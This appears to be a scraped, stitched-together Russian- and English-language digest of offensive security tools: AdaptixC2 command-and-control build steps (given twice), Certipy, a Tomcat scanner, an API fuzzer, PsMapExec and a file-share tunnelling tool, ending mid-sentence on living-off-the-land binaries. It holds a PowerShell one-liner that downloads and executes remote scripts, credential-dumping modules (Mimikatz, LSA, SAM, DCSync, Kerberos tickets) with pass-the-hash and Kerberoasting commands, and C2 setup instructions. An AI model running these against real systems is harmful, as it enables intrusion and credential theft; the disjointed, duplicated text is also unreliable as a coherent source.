Silent Push раскрывает связи AdaptixC2 с российским преступным миром и отслеживает злоумышленников, использующих данный инструмент

Server/Client Architecture for Multiplayer Support
Cross-platform GUI client
Fully encrypted communications
Listener and Agents as Plugin (Extender)
Client extensibility for adding new tools
Task and Jobs storage
Files and Process browsers
Socks4 / Socks5 / Socks5 Auth support
Local and Reverse port forwarding support
BOF support
Linking Agents and Sessions Graph
Agents Health Checker
Agents KillDate and WorkingTime control
Windows/Linux/MacOs agents support
Remote Terminal

sudo apt install mingw-w64 make

wget https://go.dev/dl/go1.24.4.linux-amd64.tar.gz -O /tmp/go1.24.4.linux-amd64.tar.gz
sudo rm -rf /usr/local/go /usr/local/bin/go
sudo tar -C /usr/local -xzf /tmp/go1.24.4.linux-amd64.tar.gz
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go

sudo apt install gcc g++ build-essential cmake libssl-dev qt6-base-dev qt6-websockets-dev qt6-declarative-dev

git clone https://github.com/Adaptix-Framework/AdaptixC2.git
cd AdaptixC2
make server
make extenders
make client
cd dist
chmod +x ssl_gen.sh
./ssl_gen.sh

./adaptixserver -profile profile.json
./AdaptixClient

KoviD is an open-source Loadable Kernel Module (LKM) security research tool
designed to help security professionals understand and defend against rootkit
techniques in Linux Kernel version 5 and later

sudo python3 -m pip install apachetomcatscanner

ApacheTomcatScanner -tt 172.16.0.10 -tp - —-list-cves

Certipy is a powerful offensive and defensive toolkit for enumerating and abusing Active Directory Certificate Services (AD CS). It helps red teamers, penetration testers, and defenders assess AD CS misconfigurations - including full support for identifying and exploiting all known ESC1-ESC16 attack paths

cats --contract=openapi.yml -H "Authorization=$token" --server=https://api-url.com -b -k

cats --contract=openapi.yaml --server=https://localhost:8080 --headers=headers.yml --refData=referenceData.yml

cats random --contract=openapi.yaml --server=https://localhost:8080 -H "API-KEY=$token" --mc 500 --path "/users/auth" -X POST --stopAfterTimeInSec 10

GMSA
ConstrainedDelegation
UnconstrainedDelegation
AdminCount
ComputerSIDs
UserDescriptions
UserLogonRestrictions
UserPasswords
UserSIDs

🔵RDP
🔵SessionHunter
🔵SMB
🔵SMB Signing
🔵LDAP / LDAPS
🔵SSH
🔵Spraying
🔵VNC
🔵WinRM
🔵WMI
🔵MSSQL
🔵Kerberoast

🔵 Amnesiac - выполнение Amnesiac C2 пейлоадов
🔵 ConsoleHistory - история в PowerShell
🔵 Files - файлы в типичных директориях
🔵 KerbDump - дамп Kerberos билетов
🔵 eKeys - дамп ключей (Mimikatz)
🔵 LogonPasswords - дамп logon passwords (Mimikatz)
🔵 LSA - дамп LSA (Mimikatz)
🔵 NTDS - реализация DCsync
🔵 SAM - дамп SAM

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# Текущий пользователь
PsMapExec -Targets All -Method [Method]

# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]

# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]

# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]

# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM

# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput

# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]

# Host A
ft.exe -L 5000:127.0.0.1:3389 --write "\\server\share\1.dat" --read "\\server\share\2.dat"

# Host B
ft.exe --read "\\server\share\1.dat" --write "\\server\share\2.dat"

# Host A
ft.exe -L 5000:192.168.1.50:8888 --write "C:\Temp\1.dat" --read "C:\Temp\2.dat"

# Host B
ft.exe --read "\\tsclient\c\Temp\1.dat" --write "\\tsclient\c\Temp\2.dat"

Server/Client Architecture for Multiplayer Support
Cross-platform GUI client
Fully encrypted communications
Listener and Agents as Plugin (Extender)
Client extensibility for adding new tools
Task and Jobs storage
Files and Process browsers
Socks4 / Socks5 / Socks5 Auth support
Local and Reverse port forwarding support
BOF support
Linking Agents and Sessions Graph
Agents Health Checker
Agents KillDate and WorkingTime control
Windows/Linux/MacOs agents support
Remote Terminal

sudo apt install mingw-w64 make gcc g++ g++-mingw-w64

wget https://go.dev/dl/go1.25.4.linux-amd64.tar.gz -O /tmp/go1.25.4.linux-amd64.tar.gz
sudo rm -rf /usr/local/go /usr/local/bin/go
sudo tar -C /usr/local -xzf /tmp/go1.25.4.linux-amd64.tar.gz
sudo ln -s /usr/local/go/bin/go /usr/local/bin/go

# for windows 7 support by gopher agent
git clone https://github.com/Adaptix-Framework/go-win7 /tmp/go-win7
sudo mv /tmp/go-win7 /usr/lib/

sudo apt install gcc g++ build-essential make cmake mingw-w64 g++-mingw-w64 libssl-dev qt6-base-dev qt6-base-private-dev libxkbcommon-dev qt6-websockets-dev qt6-declarative-dev

make server-ext
make client

Understanding Living Off the Land

The term comes from the military concept of living off the land during operations - using local resources instead of bringing your own supplies. In cybersecurity, it refers to using built-in system tools and legitimate executables for malicious purposes. These binaries are often called LOLBins (Living Off the Land Binaries) or LOLBAs (Living Off the Land Binaries and Scripts